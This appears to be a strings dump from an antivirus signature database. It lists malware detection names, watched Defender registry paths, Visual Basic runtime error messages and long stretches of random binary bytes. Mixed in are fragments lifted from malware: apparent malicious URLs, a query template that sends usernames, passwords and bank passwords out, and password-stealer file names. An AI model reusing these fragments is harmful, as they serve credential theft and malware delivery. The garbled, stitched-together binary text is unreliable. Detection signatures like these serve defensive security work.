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0http://ktr.freedynamicdns.org/backups/post.php !#SCRIPT:PSWinAPIdefinitions.A add-type-memberdefinition 0add-type-memberdefinition -namespace infinite);(2047,4),HKLM\\SYSTEM\\*
(1)\\SERVICES\\MsSecFlt\\*(infinite)\\\\*B(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\WMI\\Autologger\\SenseAuditLoggerE(2047,4),HKLM\\SYSTEM\\*
(1)\\Control\\WMI\\Autologger\\SenseAuditLogger\\\\*N(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\WMI\\Autologger\\SenseAuditLogger\\*(infinite)Q(2047,4),HKLM\\SYSTEM\\*
(1)\\Control\\WMI\\Autologger\\SenseAuditLogger\\*(infinite)\\\\*?(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\WMI\\Autologger\\SenseEventLogB(2047,4),HKLM\\SYSTEM\\*
(1)\\Control\\WMI\\Autologger\\SenseEventLog\\\\*K(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\WMI\\Autologger\\SenseEventLog\\*(infinite)N(2047,4),HKLM\\SYSTEM\\*
(1)\\Control\\WMI\\Autologger\\SenseEventLog\\*(infinite)\\\\*U(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\WMI\\Security\\\\16C6501A-FF2D-46EA-868D-
8F96CB0CB52Dd(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\IMAGE FILE EXECUTION 
OPTIONS\\MsSense.exej(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\IMAGE FILE EXECUTION 
OPTIONS\\SenseCncProxy.exep(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\IMAGE FILE EXECUTION 
OPTIONS\\SenseSampleUploader.exed(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\IMAGE FILE EXECUTION 
OPTIONS\\SenseIR.exeg(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\IMAGE FILE EXECUTION 
OPTIONS\\SgrmBroker.exeg(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\IMAGE FILE EXECUTION 
OPTIONS\\MsSense.exe\\\\*m(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\IMAGE FILE EXECUTION 
OPTIONS\\SenseCncProxy.exe\\\\*s(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\IMAGE FILE EXECUTION 
OPTIONS\\SenseSampleUploader.exe\\\\*g(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\IMAGE FILE EXECUTION 
OPTIONS\\SenseIR.exe\\\\*j(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\IMAGE FILE EXECUTION OPTIONS\\SgrmBroker.exe\\\\*U(2047,4),HKLM\\SYSTEM\\*
(1)\\Control\\WMI\\Security\\\\14f8138e-3b61-580b-544b-2609378ae460U(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\WMI\\Security\\\\cb2ff72d-d4e4-585d-33f9-f3a395c40be7U(2047,4),HKLM\\SYSTEM\\*
(1)\\Control\\WMI\\Security\\\\541dae91-cc3c-5807-b064-c2561c16d7e8U(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\WMI\\Security\\\\C60418CC-7E07-400F-AE3B-
D521C5DBD96FE(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\Windows Advanced Threat ProtectionH(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\Windows Advanced Threat 
Protection\\\\*Q(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\Windows Advanced Threat Protection\\*(infinite)T(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\Windows Advanced Threat Protection\\*
(infinite)\\\\*L(2047,4),HKLM\\SOFTWARE\\CLASSES\\CLSID\\{5CD661A7-F770-47EA-ABEE-09E11B242576}O(2047,4),HKLM\\SOFTWARE\\CLASSES\\CLSID\\{5CD661A7-F770-47EA-ABEE-
09E11B242576}\\\\*X(2047,4),HKLM\\SOFTWARE\\CLASSES\\CLSID\\{5CD661A7-F770-47EA-ABEE-09E11B242576}\\*(infinite)[(2047,4),HKLM\\SOFTWARE\\CLASSES\\CLSID\\{5CD661A7-F770-
47EA-ABEE-09E11B242576}\\*(infinite)\\\\*L(2047,4),HKCU\\SOFTWARE\\CLASSES\\CLSID\\{5CD661A7-F770-47EA-ABEE-09E11B242576}O(2047,4),HKCU\\SOFTWARE\\CLASSES\\CLSID\\
{5CD661A7-F770-47EA-ABEE-09E11B242576}\\\\*X(2047,4),HKCU\\SOFTWARE\\CLASSES\\CLSID\\{5CD661A7-F770-47EA-ABEE-09E11B242576}\\*(infinite)
[(2047,4),HKCU\\SOFTWARE\\CLASSES\\CLSID\\{5CD661A7-F770-47EA-ABEE-09E11B242576}\\*(infinite)\\\\*L(2047,4),HKLM\\SOFTWARE\\CLASSES\\CLSID\\{91FDE64B-2787-484B-B3EC-
03E25A64AAE9}O(2047,4),HKLM\\SOFTWARE\\CLASSES\\CLSID\\{91FDE64B-2787-484B-B3EC-03E25A64AAE9}\\\\*X(2047,4),HKLM\\SOFTWARE\\CLASSES\\CLSID\\{91FDE64B-2787-484B-
B3EC-03E25A64AAE9}\\*(infinite)[(2047,4),HKLM\\SOFTWARE\\CLASSES\\CLSID\\{91FDE64B-2787-484B-B3EC-03E25A64AAE9}\\*(infinite)\\\\*L(2047,4),HKCU\\SOFTWARE\\CLASSES\\CLSID\\
{91FDE64B-2787-484B-B3EC-03E25A64AAE9}O(2047,4),HKCU\\SOFTWARE\\CLASSES\\CLSID\\{91FDE64B-2787-484B-B3EC-
03E25A64AAE9}\\\\*X(2047,4),HKCU\\SOFTWARE\\CLASSES\\CLSID\\{91FDE64B-2787-484B-B3EC-03E25A64AAE9}\\*(infinite)[(2047,4),HKCU\\SOFTWARE\\CLASSES\\CLSID\\{91FDE64B-2787-
484B-B3EC-03E25A64AAE9}\\*(infinite)\\\\*z 2db30ca2a0a5 HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History 
DHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History MachineDomain  2db3a2ed1e72 HKLM\\SYSTEM\\CurrentControlSet\\Services\\WebClient 
1HKLM\\SYSTEM\\CurrentControlSet\\Services\\WebClient  2db348a0b323  2db3da3d481d  !#SLF:vCtxtHtml_file_ !#SLF:vCtxtBM_7Z_FILE_ !#SLF:vCtxtBM_MZ_FILE_ !#SLF:vCtxtBM_BMP_FILE_ 
!#SLF:vCtxtBM_CAB_FILE_ !#SLF:vCtxtBM_CRX_FILE_ !#SLF:vCtxtBM_DEX_FILE_ !#SLF:vCtxtBM_DLM_FILE_ !#SLF:vCtxtBM_FLV_FILE_ !#SLF:vCtxtBM_GIF_FILE_ 
!#SLF:vCtxtBM_JOB_FILE_ !#SLF:vCtxtBM_JPG_FILE_ !#SLF:vCtxtBM_LHA_FILE_ !#SLF:vCtxtBM_LNK_FILE_ !#SLF:vCtxtBM_MP3_FILE_ !#SLF:vCtxtBM_OGG_FILE_ 
!#SLF:vCtxtBM_OLE_FILE_ !#SLF:vCtxtBM_PDF_FILE_ !#SLF:vCtxtBM_PNF_FILE_ !#SLF:vCtxtBM_PNG_FILE_ !#SLF:vCtxtBM_RAR_FILE_ !#SLF:vCtxtBM_RTF_FILE_ 
!#SLF:vCtxtBM_SDB_FILE_ !#SLF:vCtxtBM_SWF_FILE_ !#SLF:vCtxtBM_VBE_FILE_ !#SLF:vCtxtBM_WMF_FILE_ !#SLF:vCtxtBM_XML_FILE_ !#SLF:vCtxtBM_ZIP_FILE_ 
!#SLF:vCtxtBM_FONT_FILE_ !#SLF:vCtxtBM_GZIP_FILE_ !#SLF:vCtxtBM_MZ_FILE_1_ !#SLF:vCtxtBM_MZ_FILE_2_ !#SLF:vCtxtBM_MZ_FILE_3_ !#SLF:vCtxtBM_MZ_FILE_4_ 
!#SLF:vCtxtBM_TEXT_FILE_ !#SLF:vCtxtBM_TIFF_FILE_ !#SLF:vTelCtxtHtml_file_ !#SLF:vCtxtBM_DEX_FILE_1_ !#SLF:vCtxtBM_DEX_FILE_2_ !#SLF:vCtxtBM_DEX_FILE_3_ 
!#SLF:vCtxtBM_DMG_FILE_0_ !#SLF:vCtxtBM_DMG_FILE_1_ !#SLF:vCtxtBM_DMG_FILE_2_ !#SLF:vCtxtBM_DMG_FILE_3_ !#SLF:vCtxtBM_DMG_FILE_4_ !#SLF:vCtxtBM_ELF_FILE_0_ 
!#SLF:vCtxtBM_ELF_FILE_1_ !#SLF:vCtxtBM_ELF_FILE_2_ !#SLF:vCtxtBM_ELF_FILE_3_ !#SLF:vCtxtBM_ELF_FILE_4_ !#SLF:vCtxtBM_JDIFF_FILE_ !#SLF:vCtxtBM_MEDIA_FILE_ 
!#SLF:vCtxtBM_SMALL_FILE_ !#SLF:vCtxtSCPT:HTMLFile_ !#SLF:vTelCtxtBM_7Z_FILE_ !#SLF:vCtxtBM_CURSOR_FILE_  !#SLF:vCtxtBM_CURSOR_FILE_ !#SLF:vCtxtBM_OFFICE_FILE_  
!#SLF:vCtxtBM_OFFICE_FILE_ !#SLF:vTelCtxtBM_BMP_FILE_  !#SLF:vTelCtxtBM_BMP_FILE_ !#SLF:vTelCtxtBM_CAB_FILE_  !#SLF:vTelCtxtBM_CAB_FILE_ !#SLF:vTelCtxtBM_CRX_FILE_  
!#SLF:vTelCtxtBM_CRX_FILE_ !#SLF:vTelCtxtBM_DEX_FILE_  !#SLF:vTelCtxtBM_DEX_FILE_ !#SLF:vTelCtxtBM_DLM_FILE_  !#SLF:vTelCtxtBM_DLM_FILE_ !#SLF:vTelCtxtBM_FLV_FILE_  
!#SLF:vTelCtxtBM_FLV_FILE_ !#SLF:vTelCtxtBM_GIF_FILE_  !#SLF:vTelCtxtBM_GIF_FILE_ !#SLF:vTelCtxtBM_JOB_FILE_  !#SLF:vTelCtxtBM_JOB_FILE_ !#SLF:vTelCtxtBM_JPG_FILE_  
!#SLF:vTelCtxtBM_JPG_FILE_ !#SLF:vTelCtxtBM_LHA_FILE_  !#SLF:vTelCtxtBM_LHA_FILE_ !#SLF:vTelCtxtBM_LNK_FILE_  !#SLF:vTelCtxtBM_LNK_FILE_ !#SLF:vTelCtxtBM_MP3_FILE_  
!#SLF:vTelCtxtBM_MP3_FILE_ !#SLF:vTelCtxtBM_OGG_FILE_  !#SLF:vTelCtxtBM_OGG_FILE_ !#SLF:vTelCtxtBM_OLE_FILE_  !#SLF:vTelCtxtBM_OLE_FILE_ !#SLF:vTelCtxtBM_PDF_FILE_  
!#SLF:vTelCtxtBM_PDF_FILE_ !#SLF:vTelCtxtBM_PNF_FILE_  !#SLF:vTelCtxtBM_PNF_FILE_ !#SLF:vTelCtxtBM_PNG_FILE_  !#SLF:vTelCtxtBM_PNG_FILE_ !#SLF:vTelCtxtBM_RAR_FILE_  
!#SLF:vTelCtxtBM_RAR_FILE_ !#SLF:vTelCtxtBM_RTF_FILE_  !#SLF:vTelCtxtBM_RTF_FILE_ !#SLF:vTelCtxtBM_SDB_FILE_  !#SLF:vTelCtxtBM_SDB_FILE_ !#SLF:vTelCtxtBM_SWF_FILE_  
!#SLF:vTelCtxtBM_SWF_FILE_ !#SLF:vTelCtxtBM_VBE_FILE_  !#SLF:vTelCtxtBM_VBE_FILE_ !#SLF:vTelCtxtBM_WMF_FILE_  !#SLF:vTelCtxtBM_WMF_FILE_ !#SLF:vTelCtxtBM_XML_FILE_  
!#SLF:vTelCtxtBM_XML_FILE_ !#SLF:vTelCtxtBM_ZIP_FILE_  !#SLF:vTelCtxtBM_ZIP_FILE_ !#SLF:vCtxtBM_AUTOCAD_FILE_ !!#SLF:vCtxtBM_AUTOCAD_FILE_ !#SLF:vCtxtBM_SQLlite_FILE_ 
!!#SLF:vCtxtBM_SQLlite_FILE_ !#SLF:vCtxtBM_SYMBIAN_FILE_ !!#SLF:vCtxtBM_SYMBIAN_FILE_ !#SLF:vCtxtBM_TORRENT_FILE_ !!#SLF:vCtxtBM_TORRENT_FILE_ 
!#SLF:vCtxtBM_UNICODE_FILE_ !!#SLF:vCtxtBM_UNICODE_FILE_ !#SLF !!#SLF !Ranky.AL !Ranky.AM !Harnig.X !Agent.N !Agent.P !Agent.AQ Cr\t}UY*x !Harnig.M !Small.NF !Small.LP !Small.OO 
!Small.NV !Small.OD !Small.OH f\\  g !Agent.AP !Ldpinch.CK !Killav.BR !Revop.A !Startpage.GI !Small.MP g\\!#g !WinShow.V #g\\!$g !Istbar.AU $g\\ 'g !Small.ED \\getpasses.exe (-Messengerpasses.txt 
d\\Administrator\\Desktop\\Steal0r's\\Messenger Steal0r frm_Main \\passes.txt ia@XB! )g\\ Vg !Small.KN Vg\\ Wg !Small.LY Wg\\\"Yg !Wintrim.AV Yg\\ [g !Harnig.Q [g\\\"\\g !Wintrim.AK \\g\\ ]g !Small.IX 
!Agent.T ^g\\ _g !Small.NE _g\\!`g !Istbar.FA `g\\#eg !Wintrim.NAA eg\\\"gg !Wintrim.BN gg\\!hg !Istbar.DG hg\\\"jg !Wintrim.BB TMXng jg\\ kg !Small.KM kg\\\"mg !Istbar.NAA mg\\\"ng !Wintrim.BC ng\\ rg 
!Small.NI rg\\\"sg !WinShow.AC sg\\ tg !Small.GO tg\\ ug !Small.JZ ug\\!vg !Istbar.ET vg\\!wg !Small.NAK wg\\!xg !Wintrim.F xg\\ yg !Small.LQ yg\\ zg !Small.OE zg\\\"{g !Wintrim.BK {g\\#~g !Inservice.G 
cF7cFK !Inservice.H !Wintrim.AZ !Wintrim.BJ !Ldpinch.DQ !Agent.AB !Agent.A1 #Agent.AP !Agent.AG !Agent.AU !Agent.AN !Ranky.AP @ !Istbar.DV !Istbar.FC h\\ \th !Small.EL -2X,- !Wintrim.BG 
!Small.QC ]l |k !Small.OR !Small.NL vh\\o< !Small.PJ SIFe1A !Istbar.FJ !Harnig.Y !Harnig.R !Harnig.U !Istbar.EW !Small.QU !Small.HV !Small.PN !Small.LE h\\  h !Small.RN  h\\ !h !Small.QH !h\\ #h 
!Small.NK #h\\ &h &h\\ 'h !Small.PT 'h\\ (h !Small.OX (h\\ )h !Small.HF ^=CCa )h\\!*h !Istbar.EU *h\\ +h !Small.PP +h\\\"-h !WinShow.AG -h\\ .h !Small.FF .h\\ 1h !Small.QG 1h\\ 2h !Small.QV 2h\\ 4h 
!Small.OS 4h\\ 6h !Small.QS 6h\\!7h !Istbar.ER 7h\\ 9h !Small.PV 9h\\ <h !Small.MG <h\\ =h !Small.QK =h\\ >h >h\\ ?h !Small.PO ?h\\!Ch !Wintrim.P Ch\\!Gh !WinShow.Z Gh\\ Jh osAim Jh\\ Lh !Small.IP 
Lh\\ Nh Nh\\ Qh !Small.ID Qh\\ Th !Small.QI Th\\ Uh !Agent.BI Uh\\ Yh !Small.PB Yh\\ Zh !Small.QT Zh\\ [h !Small.OK [h\\ \\h \\h\\ ^h !Small.PI ^h\\ `h !Agent.AJ (070O0 `h\\ ah ah\\ bh bh\\ ch ch\\ dh 
!Small.QZ dh\\ fh !Small.ON !Small.RR h\\ +i !Agent.AT V770Yo +i\\ Di Di\\!Fi !Harnig.Y1 Fi\\\"Hi !Wintrim.BF Hi\\\"Ii !Wintrim.BU Ii\\ Ji Ji\\ Li Li\\ Mi Mi\\ Oi !Agent.CD 4o*4`%r Oi\\ Pi !Agent.CE Pi\\\"Qi 
!Wintrim.AX Qi\\ Si !Agent.CO Si\\ Vi !Small.FT Vi\\\"Wi !Wintrim.BW Wi\\ Xi !Small.UG Xi\\ Yi Yi\\ ]i !Small.UL ]i\\ ^i ^i\\ `i !Small.HO `i\\ di !Small.TA di\\\"fi !WinShow.AK fi\\ hi !Small.SE hi\\ ii !Agent.BJ 
!Startpage.MF EN&B[ !Startpage.NF !Agent WINDOWS\\system32\\scvhost.exe virtual-net.pisem.su/Nick.gif  InternetCloseHandlea f:\\source\\cg\\cgall\\wmgj\\wmgjexe 
Mcmd=1&usrname=%s&usrpass=%s&servername=%s&bankpass=%s&nickname=%s&rankinfo=%d ACTION_OFFLINE_CLIENT 5ReadProcessMemory with PINCODE-value fault, code = %d 
szAccount = %s szAccount = %saw Bonus 1.exe Jhttp://wmr-moneys.org/config/line.gif Phttp://countexchange.com/config/line.gif &?a=wmk:payto?Purse= &Amount= &Desc= \\Bonus 1.5.vbp \\SOFT2 
.*\\AG:\\Vladimir\\Desktop\\ WebMoney WebMoneyg  07gSg 8wdd9 &j0tU@ Yd F>  Yd Fg !#SLF:AGGR:CopyRenamed!taskhostw.exe !#AGG:AllowList:Win32/onlinebrief24.A 
!#ALF:HackTool:PowerShell/RayaByPs.C!MTB !#ALF:TrojanDownloader:O97M/EncDoc.REEA!MTB !#TEL:Trojan:HTA/WildChild.S!ibt !#AGG:AllowList:Win32/AdaptiveBee.A 
!#SLF:AGGR:CopyRenamed!diskshadow.exe !#ALF:Trojan:Win32/Cassini_f2776388!ibt !SALF:TrojanDownloader:O97M/SuspXlsDoc.L !#SLF:PowerShell/DiscoveryGetNetworkInfo.A 
!#TEL:TrojanDownloader:O97M/EncDoc.SNK!MTB !#TEL:TrojanDownloader:O97M/EncDoc.ZIP!MTB !#ALF:HackTool:PowerShell/PowerViewDev.A!MTB 
!#SLF:HackTool:PowerShell/KerberosUtils.A!MTB !#SLF:AGGR:GamObfus4 !#ALF:CaptureScreenShot.sm !#AGGR:TopLevelFileExt!docx !#ALF:Trojan:BAT/NetWalker!MSR 
!#TEL:Trojan:Win32/Linkommer.D !#ALF:Trojan:HTML/Phish.SBLN!MTB !#BM_CopyRenamedIName_syncappvpublishingserver.exe !#BM_CopyRenamedOName_syncappvpublishingserver.exe 
!#AGGR:MicrosoftIframe:ST00 !#ALF:Phish:HTML/OneDrive.AD!MTB !#AGG:AllowList:Win32/Spinnaker.A !#ALF:SusEncrOLEFileInDownloadCMD !#TEL:Backdoor:MSIL/Bladabindi.RB!MTB 
!#ALF:Trojan:Win32/Cassini_4b7824be!ibt !#ALF:CaptureScreenShot.ht !#AGG:AllowList:AdminTools.A !#AGG:AllowList:JS/RealPage.A !#ALF:Exploit:O97M/CVE-2017-11882.YE!MTB 
!#SLF:PowerShell/DiscoveryGetComputerName.A !#SLFPER:Trojan:PowerShell/PSExploitShellCode.A !#TEL:AGGR:ZipSlipApk !#TEL:AGGR:ZipSlipTar !#TEL:AGGR:ZipSlipWar 
!#ALF:AGGR:Phish:HTML/Mitargcro.S200 !#ALF:TrojanDownloader:BAT/Jackal!dha !#ALF:VirTool:Powershell/Deccan.B!MTB !#AGG:AllowList:Win32/AcroSoft.AcroEdit.A 
!#SLF:HackTool:PowerShell/KillChainUtils.A!MTB !#ALF:TrojanDownloader:O97M/CVE-2017-11882.AVP!MTB !#ALF:CaptureScreenBit.sm !#TEL:TrojanDownloader:Java/Jorva.A 
!#ALFPER:TrojanDownloader:JS/Nemucod !#Lua:Macro:O97M/Macroiwshellex.B!amsi !#ALF:HackTool:PowerShell/WMIExecObfus.A!MTB !#SLF:AGGR:CopyRenamed!syncappvpublishingserver.exe 
!#TEL:AGGR:ZipSlipCpio !#BM_MSIL_SERVICEINSTALLER !#ALF:PWS:HTML/Phish.SMKV!MTB !#ALF:Trojan:HTML/Phish.PTB!MTB !#AGG:AllowList:Win32/AppViewer.A 
!#SLF:HackTool:PowerShell/MightyCore.B!MTB !#SLF:HackTool:PowerShell/Internaloff.K1!MTB !#SLF:HackTool:PowerShell/Internaloff.M1!MTB !#SLF:HackTool:PowerShell/Internaloff.N1!MTB 
!#ALF:CaptureScreenBit.ht !#AGG:AllowList:Win32/JMJ.A !#AGG:JS/Obfuscator.Spltra.D !#AGG:AllowList:Win32/SlimWare.A ource. Can't empty Clipboard Can't open Clipboard0The data binding 
DLL, '|1', could not be loaded. Data Access Error The given bookmark was invalid Can't create AutoRedraw image Invalid picture Printer error2Printer driver does not support specified 
property_Problem getting printer information from the system. Make sure the printer is set up correctly. Invalid picture type.Can't print form image to this type of printer Can't print minimized form 
image8Top-level or invalid menu specified as PopupMenu default Could not lock the database#Could not access the desired Column Could not lock the database5The row has been deleted since the 
update was started+Unable to bind to field or DataMember: '|1'_Cannot bind this control to '|1'. Select a different datasource control (eg - Data1, or MSRDC1)eCannot bind this control to '|1'. Select a 
different datasource (eg - ADODC1, or DataEnvironment1...)XDataObject formats list may not be cleared or expanded outside of the OLEStartDrag event Expected at least one argument.6Recursive 
invocation of OLE drag and drop not allowed. Non-intrinsic OLE drag and drop formats used with SetData require Byte array data.  GetData may return more bytes than were given to 
SetData.NRequested data was not supplied to the DataObject during the OLESetData event. Failure in AsyncReadRPropertyName parameter conflicts with the PropertyName of an AsyncRead in 
progress/Can't find or load the required file urlmon.dll Unable to complete navigation?Can't get Picture from AsyncRead until the download is complete5An unknown protocol was specified in Target 
parameter_Unable to find target specified in Target parameter of the AsyncRead that started this downloadkUnable to find or download target specified in Target parameter of the AsyncRead that 
started this downloadGClass of object cannot be determined. Looking for object with CLSID: |18Invalid class string. Looking for object with ProgID: |1;Object is not registered. Looking for object with 
CLSID: |1 Class not registered.  |1;Interface not registered. Looking for object with CLSID: |18Application not found. Looking for object with CLSID: |1:DLL for class not found. Looking for object with 
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CLSID: |1 Class not registered.  |1;Interface not registered. Looking for object with CLSID: |18Application not found. Looking for object with CLSID: |1:DLL for class not found. Looking for object with 
CLSID: |13Error in the DLL. Looking for object with CLSID: |1IWrong OS or OS version for application. Looking for object with CLSID: |1bApplication was launched but it didn't register a class factory. 
Looking for object with CLSID: |1 '|1' is not a valid control type%'|1' is not a valid control container[Can't have child controls capable of receiving focus on a control that cannot receive focusjThe OLE 
client control and OLE embeddings are not allowed on UserControls, UserDocuments, or PropertyPages;Can't have windowed child controls on a windowless control. |1 is a single-threaded component 
and cannot be used in multi-threaded projects.  Change the threading model for |2 or contact the component vendor for an updated version.^Control '|1' does not have the align property, so it cannot be 
placed directly on the MDI form-There is already a control with the name '|1'DControl container for Controls.Add cannot be a design time instance.ECannot add control while Control container is loading 
other controls.* Information necessary for the EventInfo object was not included with the control raising the event.  Private UserControls require extra data to be included during compilation to support 
the ObjectEvent.  To correct this uncheck 'Remove information about unused ActiveX Controls' in Project Options. No design-time license information found for control '|1'.  Contact the vendor for 
control '|1' to obtain a design-time license. Out of memory Can't open Clipboard\tNo object Unable to close object Can't paste Invalid property value Can't copy Invalid format Class is not set Source 
Document is not set Invalid Action Invalid or unknown Class Unable to create link Source name is too long Unable to activate object Object not running Dialog already in use Invalid source for link 
Unable to create embedded object Unable to fetch Link source name Invalid Verb index Incorrect Clipboard format Error saving to file Error loading from file Unable to access source document?You 
cannot set DisplayType while the control contains an object\\Cannot create embedded object. 'OleTypeAllowed' property of '|1' control is set to 'Linked'. Cannot quit. Save File As.Unexpected critical 
error: can't start program Out of Memory\\0 - User 1 - Twip 2 - Point 3 - Pixel 4 - Character 5 - Inch 6 - Millimeter 7 - Centimeter (None) Ctrl+A Ctrl+B Ctrl+C Ctrl+D Ctrl+E Ctrl+F Ctrl+G Ctrl+H Ctrl+I 
Ctrl+J Ctrl+K Ctrl+L Ctrl+M Ctrl+N Ctrl+O Ctrl+P Ctrl+Q Ctrl+R Ctrl+S Ctrl+T Ctrl+U Ctrl+V Ctrl+W Ctrl+X Ctrl+Y Ctrl+Z Ctrl+F1 Ctrl+F2 Ctrl+F3 Ctrl+F4 Ctrl+F5 Ctrl+F6 Ctrl+F7 Ctrl+F8 Ctrl+F9 
Ctrl+F11 Ctrl+F12 Shift+F1 Shift+F2 Shift+F3 Shift+F4 Shift+F5 Shift+F6 Shift+F7 Shift+F8 Shift+F9 Shift+F11 Shift+F12 Shift+Ctrl+F1 ^^dShift+Ctrl+F2 Shift+Ctrl+F3 Shift+Ctrl+F4 Shift+Ctrl+F5 
Shift+Ctrl+F6 Shift+Ctrl+F7 Shift+Ctrl+F8 ^^VShift+Ctrl+F9 Shift+Ctrl+F11 Shift+Ctrl+F12 Ctrl+Ins Shift+Ins Shift+Del Alt+Bksp All Files (*.*) Access Access 2000; dBASE III; dBASE IV; dBASE 5.0; 
Excel 3.0; Excel 4.0; Excel 5.0; Excel 8.0; FoxPro 2.0; FoxPro 2.5; FoxPro 2.6; FoxPro 3.0; Lotus WK1; Lotus WK3; Lotus WK4; Paradox 3.x; Paradox 4.x; Paradox 5.x; Text; Looking for object with 
CLSID: P&roperties Not Available E&dit &Help<You need the following file to be installed on your machine. TypeInfo mismatch within.Please verify the file is the correct version. Return without 
GoSub\"Invalid procedure call or argument Overflow Subscript out of range)This array is fixed or temporarily locked Division by zero Type mismatch Out of string space Expression too complex!Can't 
perform requested operation User interrupt occurred Resume without error Out of stack space Sub or Function not defined Too many DLL application clients Error in loading DLL Bad DLL calling 
convention Internal error Bad file name or number File not found Bad file mode File already open Device I/O error File already exists Bad record length\tDisk full Input past end of file Bad record number 
Too many files Device unavailable Permission denied Disk not ready!Can't rename with different drive Path/File access error Path not found.Object variable or With block variable not set For loop not 
initialized Invalid pattern string Invalid use of Null+Application-defined or object-defined error Unable to sink events of object because the object is already firing events to the maximum number of event 
receivers that it supportsQCan not call friend function on object which is not an instance of defining classtA property or method call cannot include a reference to a private object, either as an argument 
or as a return value Invalid file format%Can't create necessary temporary file Invalid format in resource file Invalid property array index Set not supported at runtime&Set not supported (read-only 
property) Need property array index Set not permitted Get not supported at runtime'Get not supported (write-only property) Property not found Property or method not found Object required%ActiveX 
component can't create objectHClass does not support Automation or does not support expected interface=File name or class name not found during Automation operation.Object doesn't support this 
property or method Automation errorwConnection to type library or object library for remote process has been lost. Press OK for dialog to remove reference./Automation object does not have a default 
value\"Object doesn't support this action&Object doesn't support named arguments-Object doesn't support current locale setting Named argument not found Argument not optional8Wrong number of 
arguments or invalid pr z7&pM; rfLu9 IO+HG C[Gq) &9/E 4uhPo$ `;h=G j\tLIX #oDHN B R<Mks eDSk\t hRa\t{U  cj+0 ud\\V`) }1pgy5\t bLc&e y<5&Jz +[DRO2 7k$?<p l>$PC8= :he1uY Q<FT?,, GD4Gs  
%-61cy7xz ]]hDD XP!KU3nM e23ox9aC JZ)&| 0% Vm^ $4#f}8(% Q668{ Uy2!Y LdXn= mW]6c b6v9hO ++9}?r ]r\\/QD b<1\t. 0mUO, \t@Y*, PSdV4 GV *q |qmi7 &sbq^ 6\tEN* HQB `fi Ocj~a TKz l =^O>Y 
\"9 f\"Z {0B7Z 6azU] +EBU` IQ vu]>P3% X/04A =m4)| t$9Skp \\;9E5 0lBnE 0;:HMa, gfi2_ )@\t~~z j%C*! 5\\\\J{.;Q (oGf ]E root\\default:system_anti_virus_core %root\\default:system_anti_virus_core 
!#Trojan:Win32/Nanocore.FA3!MTB \"),binarytostring(\"0x %\"),binarytostring(\"0x 02e626174\"))  !#BRUTE:SCHTSK:Expert:Feature:10 )O !#BRUTE:SCHTSK:Expert:Feature:10 
<multipleinstancespolicy>ignorenew $<multipleinstancespolicy>ignorenew  !#BRUTE:SCHTSK:Expert:Feature:45 )O !#BRUTE:SCHTSK:Expert:Feature:45  !#SCPT:Trojan:HTML/Phish.ST2!MTB )O 
!#SCPT:Trojan:HTML/Phish.ST2!MTB =\"submit\"value=\"continuetodownload $=\"submit\"value=\"continuetodownload  !#SCPT:Trojan:JS/Obfuse.Pra3!MTB )O !#SCPT:Trojan:JS/Obfuse.Pra3!MTB 
$.type=1;  !#SCPT:Trojan:JS/Obfuse.RVB1!MTB )O !#SCPT:Trojan:JS/Obfuse.RVB1!MTB $.replace(newregexp(\" \",\"g\"),\"a\")  !#SCPT:Trojan:Python/Queri.C.EC2 )O 
!#SCPT:Trojan:Python/Queri.C.EC2 configpath=url+'/config.json?'+cid $configpath=url+'/config.json?'+cid  !#SCPT:TrojanProxy:JS/Banker.AP1 )O !#SCPT:TrojanProxy:JS/Banker.AP1 
\"pr\",\"oxy\",\"ww\",\"c\",\"o\",\"m\",\"b\",\"r $\"pr\",\"oxy\",\"ww\",\"c\",\"o\",\"m\",\"b\",\"r  !#SCRIPT:PowerShell/Poisonweb.B2 )O !#SCRIPT:PowerShell/Poisonweb.B2 =icacls\" $=icacls\"  
\"|findstr/v\"processing\"  !#SCRIPT:Ransom:HTML/Tescrypt.D1 )O !#SCRIPT:Ransom:HTML/Tescrypt.D1 thenwesuggestyou<!- $thenwesuggestyou<!-  ->donotwaste )O 
!#SCRIPT:Trojan:BAT/Qhost.AF_etc =%belayagoryachka%%df2%c%som%omset $=%belayagoryachka%%df2%c%som%omset =%clenchchettraha%%df2%c%som%omset 
$=%clenchchettraha%%df2%c%som%omset =\\s%olololoshenka_2222222222%ysset $=\\s%olololoshenka_2222222222%ysset =tem%ne_dolgo_tak_ebalis%32\\driset 
$=tem%ne_dolgo_tak_ebalis%32\\driset  !#Script:Phish:PHP/PassPlace!MTB )O !#Script:Phish:PHP/PassPlace!MTB <inputtype=\"password\"placeholder=\" $<inputtype=\"password\"placeholder=\"  
!#Trojan:HTML/Redirector.C!atb01 )O !#Trojan:HTML/Redirector.C!atb01 imgsrc=\"https://2no.co/1spk97.gif\" $imgsrc=\"https://2no.co/1spk97.gif\" !!#Exploit:O97M/DDEDownloader2!MTB 
)O!!#Exploit:O97M/DDEDownloader2!MTB http://screw-malwrhunterteam.com/ #http://screw-malwrhunterteam.com/ !!#SCPT:HackTool:VBA/CreateShell.A )O!!#SCPT:HackTool:VBA/CreateShell.A 
